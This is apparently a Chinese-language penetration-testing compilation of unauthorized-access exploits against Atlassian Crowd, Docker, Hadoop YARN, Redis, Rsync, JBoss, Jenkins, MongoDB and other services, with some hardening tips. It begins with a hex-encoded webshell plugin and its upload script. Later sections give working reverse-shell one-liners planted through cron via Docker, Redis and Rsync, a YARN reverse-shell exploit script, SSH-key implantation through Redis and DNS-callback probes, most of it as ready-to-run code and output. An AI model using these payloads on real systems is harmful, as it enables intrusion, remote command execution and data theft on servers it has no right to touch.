64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print  "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______      ________    ___   ___  __  ___        __ __ _____  ___   ___  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |\_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root

然后访问获取的shell地址,无需认证登录即可获取IP地址。

clickhouse 未授权访问漏洞

漏洞描述

恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据,或允许攻击者修改或删除数据。默认情况下,clickhouse-server会在8123端口上监控HTTP请求(这可以在配置中修改)。

环境搭建

sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client

漏洞复现

首先确定是否使用了 ClickHouse 数据库的接口

curl http://192.168.0.5:8123

根据文档得知,正常返回为 Ok. , 且存在 X-ClickHouse-Summary 作为返回包的 Header

测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败

/?query=SHOW%20DATABASES

成功执行语句获取数据,执行其他命令探测出网

http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;

可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息,数据库名以及数据表名)

CouchDB未授权访问漏洞

漏洞描述

CouchDB因配置不当可以未授权访问,被攻击者恶意利用。

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意清空所有数据。

漏洞搭建

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md

使用docker-compose启动。

cd couchdb/CVE-2017-12636/
docker-compose up -d

漏洞利用

访问5984端口,就可以看到版本信息。

访问/_config接口,可以看到couchDB配置信息。

Docker未授权访问漏洞

漏洞描述

恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露,或允许攻击者执行未经授权的操作,如添加、修改或删除容器。

环境搭建

安装docker

yum install -y docker

修改/usr/lib/systemd/system/docker.service服务,启动API接口。

ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

重启docker服务。

systemctl daemon-reload
systemctl restart docker

漏洞复现

输入ip:2375/version就会列出基本信息,和docker version命令效果一样。

利用docker容器写定时任务反弹shell

我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录,由此我们可以获得任意读写的权限,然后我们再将反弹shell命令写入定时任务crontab中,即可使宿主机反弹shell。

[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh

写入定时计划

/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root

安全加固

在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:

设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket

客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

客户端连接时需要设置以下环境变量

export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

druid 监控页未授权访问漏洞

漏洞简介

Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问.

环境搭建

pom.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>

application.properties配置

#数据库连接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##启用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#启用内置的监控页面
spring.datasource.druid.stat-view-servlet.enabled=true

漏洞复现

直接访问druid/index.html

可以通过session功能进行伪造用户进行登录

修复方法

禁用durid

application.properties配置

spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false

设置鉴权

#设置登录用户名
spring.datasource.druid.stat-view-servlet.login-username=admin
#设置登录密码
spring.datasource.druid.stat-view-servlet.login-password=123

修改路径

##内置监控页面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*

Dubbo 未授权访问漏洞

漏洞简介

Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

环境搭建

git clone https://github.com/alibaba/dubbo/tree/2.5.x

进入dubbo-2.5.x 目录

执行mvn clean package -Dmaven.test.skip=true会生成如下结果

dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target目录会发现生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz,解压这个文件夹

查看配置文件,会看到dubbo协议端口为7070

[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log

启动dubbo

[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh

漏洞利用

nc连接7070端口,7070端口允许您执行各种管理任务,如查看注册表的状态、列出可用服务和查看注册表的日志级别。

[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.status [-l]                      - Show status.pwd                              - Print working default service.trace [service] [method] [times] - Trace the service.exit                             - Exit the telnet.help [command]                   - Show help.invoke [service.]method(args)    - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines]                    - Clear screen.ls [-l] [service]                - List services and methods.log level                        - Change log level or show log ps [-l] [port]                   - Print server ports and connections.cd [service]                     - Change default service.
dubbo>status
OK
dubbo>pwd
/

如果服务具有命令执行功能,则使用 “invoke” 命令可能会执行命令,因为 “invoke” 命令用于调用特定的服务方法。

Hadoop YARN resourcemanager 未授权访问漏洞

漏洞描述

负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。

环境搭建

使用vulhub

[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml  exploit.py  README.md[root@localhost ~]# docker-compose up

访问8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。

漏洞利用

启动nc

[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

攻击脚本

[root@localhost unauthorized-yarn]# cat exploit.py 
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

成功攻击成功

Hadoop Yarn RPC未授权访问漏洞

漏洞简述

Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。

同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。

环境搭建

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml,添加8032端口映射。

curl请求8032端口。

[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.

漏洞利用

EXP:https://github.com/cckuailong/YarnRpcRCE

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.

查看日志

反弹shell

[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"

成功建立连接

[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001# 

漏洞修复

  1. Apache Hadoop官方建议用户开启Kerberos认证。
  2. 设置 Hadoop RPC服务所在端口仅对可信地址开放。
  3. 建议升级并启用Kerberos的认证功能,阻止未经授权的访问。

InfluxDB API 未授权访问漏洞

JBoss未授权访问漏洞

漏洞描述

JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。

在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。

环境搭建

这里用CVE-2017-7504的漏洞环境,启动环境

[root@localhost CVE-2017-7504]# docker-compose up

浏览器访问8080端口

漏洞复现

发现jboss默认页面,点击进入控制页

假设是未授权访问的话,点击JMX-Console不会提示输入用户名、密码,而这个地方用的是别的漏洞的环境,用户名密码都是admin、admin,所以就假装是不用输入用户名密码的

往下找jboss.deployment进入应用部署页面

进入应用部署页面后,下滑找到void addURL(),这里ParamValue部分填写远程服务器上的木马的地址。

访问iceword路径,就可以看到webshell

Jenkins未授权访问漏洞

漏洞描述

部署Jenkins 1.62版本,将全局授权策略打开,目前新版本的Jenkins已默认需要用户登录,但老版的中默认配置是"任意用户可以做任何事",存在未授权访问的问题。

环境搭建

选择1.62版本进行下载,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war

将WAR包丢到tomcat的webapps里面,启动tomcat

漏洞复现

进入管理页面:http://192.168.32.131:8080/jenkins/manage

进入脚本命令行,后缀输入script进入脚本命令行,输入:println "ls".execute().text,就可以执行ls命令。

Jupyter Notebook 未授权访问漏洞

漏洞描述

Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。

如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。

环境搭建

version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"

运行后,访问 http://your-ip:8888 将看到 Jupyter Notebook 的 Web 管理界面,并没有要求填写密码。

漏洞复现

选择 new -> terminal 即可创建一个控制台:

直接执行任意命令:

MongoDB未授权访问漏洞

漏洞描述

启动MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。

环境搭建

docker下载mongo镜像

docker run  -it  -p  27017:27017 mongo

漏洞复现

cli执行

┌──(root💀kali)-[~]
└─# mongo 192.168.32.131
MongoDB shell version v5.3.1
connecting to: mongodb://192.168.32.131:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c7ddf3c3-2fbc-4b5a-b9a4-91dfce9703a2") }
MongoDB server version: 5.0.8
WARNING: shell and server versions do not match> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

msf执行

msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 192.168.32.131
rhosts => 192.168.32.131
msf6 auxiliary(scanner/mongodb/mongodb_login) > run[*] 192.168.32.131:27017 - Scanning IP: 192.168.32.131
[+] 192.168.32.131:27017 - Mongo server 192.168.32.131 doesn't use authentication
[*] 192.168.32.131:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

修复建议

(1).新建管理账户开启MongoDB授权
新建终端[参数默认可以不加,若有自定义参数,才要加上,下同]
mongod --port 27017 --dbpath /data/db1

另起一个终端,运行下列命令

  use admindb.createUser({user: "adminUser",pwd: "adminPass",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})

管理员创建成功,现在拥有了用户管理员 用户名:adminUser 密码:adminPass

(2).本地访问

bind 127.0.0.1

(3).修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口

(4).禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false
(5).开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情
(6).开启auth认证

/etc/mongodb.conf  
auth = true

NFS未授权访问漏洞

漏洞描述

NFS(Network File System)是一种网络文件系统,允许在不同的网络主机上共享文件。当NFS服务器未正确配置或缺少访问控制机制时,可能存在未授权访问漏洞。攻击者可以利用此漏洞访问受影响主机上的文件和数据,甚至可以修改或删除敏感信息。

环境搭建

# 安装nfs服务
yum install nfs-utils.x86_64 -y# 启动服务
systemctl start nfs-server.service# 设置开机自启
systemctl enable rpcbind.service
systemctl enable nfs-server.service# 配置nfs
vim /etc/exports/ *(rw,sync,no_root_squash)# 启动共享
exportfs -r

漏洞利用

查看共享

[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *

客户端挂载命令

mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test

扫描nfs

[root@localhost tmp]# rpcinfo -p 192.168.32.183program vers proto   port  service100000    4   tcp    111  portmapper100000    3   tcp    111  portmapper100000    2   tcp    111  portmapper100000    4   udp    111  portmapper100000    3   udp    111  portmapper100000    2   udp    111  portmapper100005    1   udp  20048  mountd100005    1   tcp  20048  mountd100005    2   udp  20048  mountd100024    1   udp  38880  status100005    2   tcp  20048  mountd100024    1   tcp  60551  status100005    3   udp  20048  mountd100005    3   tcp  20048  mountd100003    3   tcp   2049  nfs100003    4   tcp   2049  nfs100227    3   tcp   2049  nfs_acl100003    3   udp   2049  nfs100003    4   udp   2049  nfs100227    3   udp   2049  nfs_acl100021    1   udp  48592  nlockmgr100021    3   udp  48592  nlockmgr100021    4   udp  48592  nlockmgr100021    1   tcp  42350  nlockmgr100021    3   tcp  42350  nlockmgr100021    4   tcp  42350  nlockmgr

查看挂载的目录,会出现所有的/目录下的文件

ls /tmp/test/

RabbitMQ 未授权访问漏洞

漏洞描述

RabbitMQ未授权访问漏洞是指在没有安全验证的情况下,攻击者可以通过网络访问RabbitMQ服务器,获取或修改数据、执行命令等。

Redis未授权访问漏洞

简介

redis是一个开源的存储系统,支持数据的持久化存储、支持key-value、list、set等数据结构存储,支持备份。

但若redis存在未授权访问,就会导致攻击者可以无需认证就能访问redis内部资源,获取敏感文件,甚至执行flushall清空数据,给root账户写入ssh公钥直接远程登录目的服务器。

环境搭建

wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd  redis-5.0.14
make -j 4
make install

直接运行redis-server

redis-server --protected-mode no

漏洞复现

root@l-virtual-machine:/opt# redis-cli -h 192.168.32.141
192.168.32.141:6379> keys *
(empty array)

SSH私钥访问

$ ssh-keygen -t  rsa
$ (echo -e "  "; cat /root/.ssh/id_rsa.pub; echo -e "  ") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.32.141 -x set test
$ redis-cli -h 192.168.32.141
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

反弹shell

此方法在ubuntu中因无法忽略乱码导致失败

#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.32.141/9999 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

Rsync未授权访问漏洞

漏洞描述

RsyncLinux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

环境搭建

rsyncd.conf

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no

启动rsync

rsync --no-detach --daemon --config /etc/rsyncd.conf

漏洞利用

环境启动后,我们用rsync命令访问之:

[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src            	src path

查看src目录

[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src            	src path
You have new mail in /var/spool/mail/root
[root@localhost tmp]# rsync rsync://192.168.32.183:873/src
drwxr-xr-x             28 2022/07/26 03:45:11 .
-rwxr-xr-x              0 2022/07/26 03:45:11 .dockerenv
-rwxr-xr-x            101 2022/05/19 09:45:03 docker-entrypoint.sh
drwxr-xr-x              6 2018/01/21 13:42:04 bin
drwxr-xr-x              6 2017/07/13 09:01:05 boot
drwxr-xr-x              6 2022/07/26 03:45:11 data
drwxr-xr-x            340 2022/07/26 03:45:11 dev
drwxr-xr-x             66 2022/07/26 03:45:11 etc
drwxr-xr-x              6 2017/07/13 09:01:05 home
drwxr-xr-x             21 2018/01/21 13:42:05 lib
drwxr-xr-x             34 2017/10/08 20:00:00 lib64
drwxr-xr-x              6 2017/10/08 20:00:00 media
drwxr-xr-x              6 2017/10/08 20:00:00 mnt
drwxr-xr-x              6 2017/10/08 20:00:00 opt
dr-xr-xr-x              0 2022/07/26 03:45:11 proc
drwx------             37 2017/10/08 20:00:00 root
drwxr-xr-x             80 2022/07/26 03:48:12 run
drwxr-xr-x          4,096 2017/10/08 20:00:00 sbin
drwxr-xr-x              6 2017/10/08 20:00:00 srv
dr-xr-xr-x              0 2022/07/25 22:41:55 sys
drwxrwxrwt              6 2022/07/26 03:44:41 tmp
drwxr-xr-x             42 2017/10/08 20:00:00 usr
drwxr-xr-x             17 2017/10/08 20:00:00 var

这是一个Linux根目录,我们可以下载任意文件:

[root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./
receiving incremental file list
passwdsent 43 bytes  received 1,283 bytes  2,652.00 bytes/sec
total size is 1,197  speedup is 0.90

或者写入定时计划:

echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell
[root@localhost tmp]# rsync -av shell  rsync://192.168.32.183:873/src/etc/cron.d/root
sending incremental file list
shellsent 146 bytes  received 35 bytes  362.00 bytes/sec
total size is 55  speedup is 0.30

Spark 未授权访问漏洞

漏洞描述

Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd /opt/vulhub-master/spark/unacc/
docker-compose up 

漏洞检测

环境启动后,访问http://your-ip:8080即可看到master的管理页面,访问http://your-ip:8081即可看到slave的管理页面。

